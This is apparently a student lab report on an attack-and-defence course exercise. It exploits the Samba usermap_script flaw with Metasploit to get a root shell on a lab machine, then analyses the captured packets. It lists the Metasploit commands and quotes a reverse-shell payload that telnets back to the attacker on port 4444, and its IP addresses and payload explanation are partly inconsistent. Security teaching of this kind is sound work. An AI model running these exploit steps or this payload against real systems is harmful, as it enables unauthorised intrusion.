20242942 2024-2025-2 《网络攻防实践》实验七

1.实验内容

(1)使用Metasploit进行Linux远程渗透攻击

任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:

①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;

②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;

③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);

④设置渗透攻击参数(RHOST,LHOST,TARGET等);

⑤执行渗透攻击;

⑥查看是否正确得到远程Shell,并查看获得的权限。

(2)实践作业:攻防对抗实践

攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。

防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

2.实验过程

实验1 使用metasploit对Linux进行渗透攻击

获取攻击机kali ip为 192.168.200.13 和靶机 ip 192.168.200.130。

7124a9d876ed773efb573c09d632b99c

b5f5a607e99a5452a02f892ce1bbab61

再测试一下连通性,在靶机中ping攻击机 输入ping 192.168.200.133,可见ping通,连通性没问题。

c86e8e07166c256dfb87328846aa73d4

在kali中使用nmap对靶机端口进行扫描nmap -T4 192.168.200.124,发现53端口开放:

848b63009e3d8b48a46000b0c8c2dcfd

在kali中输入msfconsole开启metasploit

c449b452b5f6c7abcfd876326a50a25b

输入命令use exploit/multi/samba/usermap_script,查看并设置攻击载荷,输入show payloads显示有效的攻击载荷。

f284d792d0991a4be09ead23afefa511

输入set payload cmd/unix/reverse,载荷设置成为为reverse,输入show options查看配置信息:

92bc74ffe814248a794311fcdcc94db8

命令set RHOST 192.168.200.124设置靶机ip并进行exploit攻击:

e41aa8a9c66921a43e0fee2964c457b2

输入命令whoami,回显root,成功入侵靶机获得系统权限。

实验2 攻防对抗实践

攻击过程:如实验一所描述,这里不再赘述,

防守过程:在进行攻击时,开启wireshark监听eth0进行抓包抓包结果如下:

739b3cd7878f618885be179a347bbe48

4a7cf7c9f414051ae84c15fcffcf4ff2

可见攻击机ip为192.168.200.133,靶机ip为192.168.200.130,src_port=139,dst_port=37373建立tcp连接。

dc29983cd92d8c25650640f3f477f987

src_port=4444,dst_port=41547建立终端控制指令传送/回显连接:

3a5e6889f4c0cb4668de084d13e9c58e

931395e17dd22092bccf55ede0647d1f

通过分析tcp连接的三次握手及数据包特征,判断212、213、214包为三次握手数据包,成功建立tcp连接

dc29983cd92d8c25650640f3f477f987

TCP三次握手如下:

cb260c1c32db8651b0ca5073cf12d6b0

通过分析数据包,判断此次渗透利用的是SMB协议中的漏洞,通过利用Session Setup AndX RequestSession Setup AndX Response实施攻击

1.先点击抓包的详细内容

09d67854b98caf1aef669eba64b6435d

2.下拉找到SMB,可以看到详细信息。

bf5d82b94f54c084ed21aa44a94e77e3

跟踪tcp流查看SMB数据包中的shellcode:

nohup sh -c: nohup(no hang up)是一个命令行工具,用于在后台运行命令,用户退出终端会话也不会终止。

sh -c 表示使用shell来执行后面的命令字符串。

'(sleep 4194[telnet 192.168.200.133 4444]while : ; do sh && break; done 2>&1[telnet 192.168.200.133 4444 >/nul 2>&1 &)':

这是一个复杂的命令字符串,包含了多个部分:

sleep 4194:使进程暂停4194秒(大约114分钟)。

[telnet 192.168.200.133 4444]:尝试通过telnet连接到IP地址192.168.200.133的4444端口。

while : ; do sh && break; done:一个无限循环,尝试执行shell命令,成功后退出循环。

2>&1:将标准错误重定向到标准输出。

[telnet 192.168.200.133 4444 >/nul 2>&1 &]:再次尝试通过telnet连接,并将其输出重定向到nul(在Windows中,nul是空设备),同时将错误输出也重定向到nul,并在后台运行。

e38cdb8dc8212004e0a447835e8ba145

拉开,看到详细信息

cd7f5c2deacfecac57b62eb45112ee11

追踪tcp流,可以看到最开始实验一的取得权限后执行的命令和回显结果:

29b5e2962f5d8559787953915373aae6

9df313225065bf3699e4193681bcf365

3.学习中遇到的问题及解决

问题1:对靶机exploit攻击时报错

c3fb6ca154fa9d8b5a02712c42615d51

解决方案:重启一下靶机

4.学习感悟、思考等

本周的实验并不难,跟实验六的原理差不多,我实现了利用metasploit对linux系统进行渗透攻击,取得权限后对靶机的资源等进行嗅探。利用wireshark抓取数据包,再分析结合攻击过程,从中获取关于攻击机和靶机的ip、端口,已经漏洞的利用方式和命令执行情况等信息,对渗透攻击过程及其原理有了更深的理解,在此过程也继续加深了对AI的使用,会带来很多便利。

posted @ 2025-04-15 21:09  washiyoone  阅读(12)  评论(0)    收藏  举报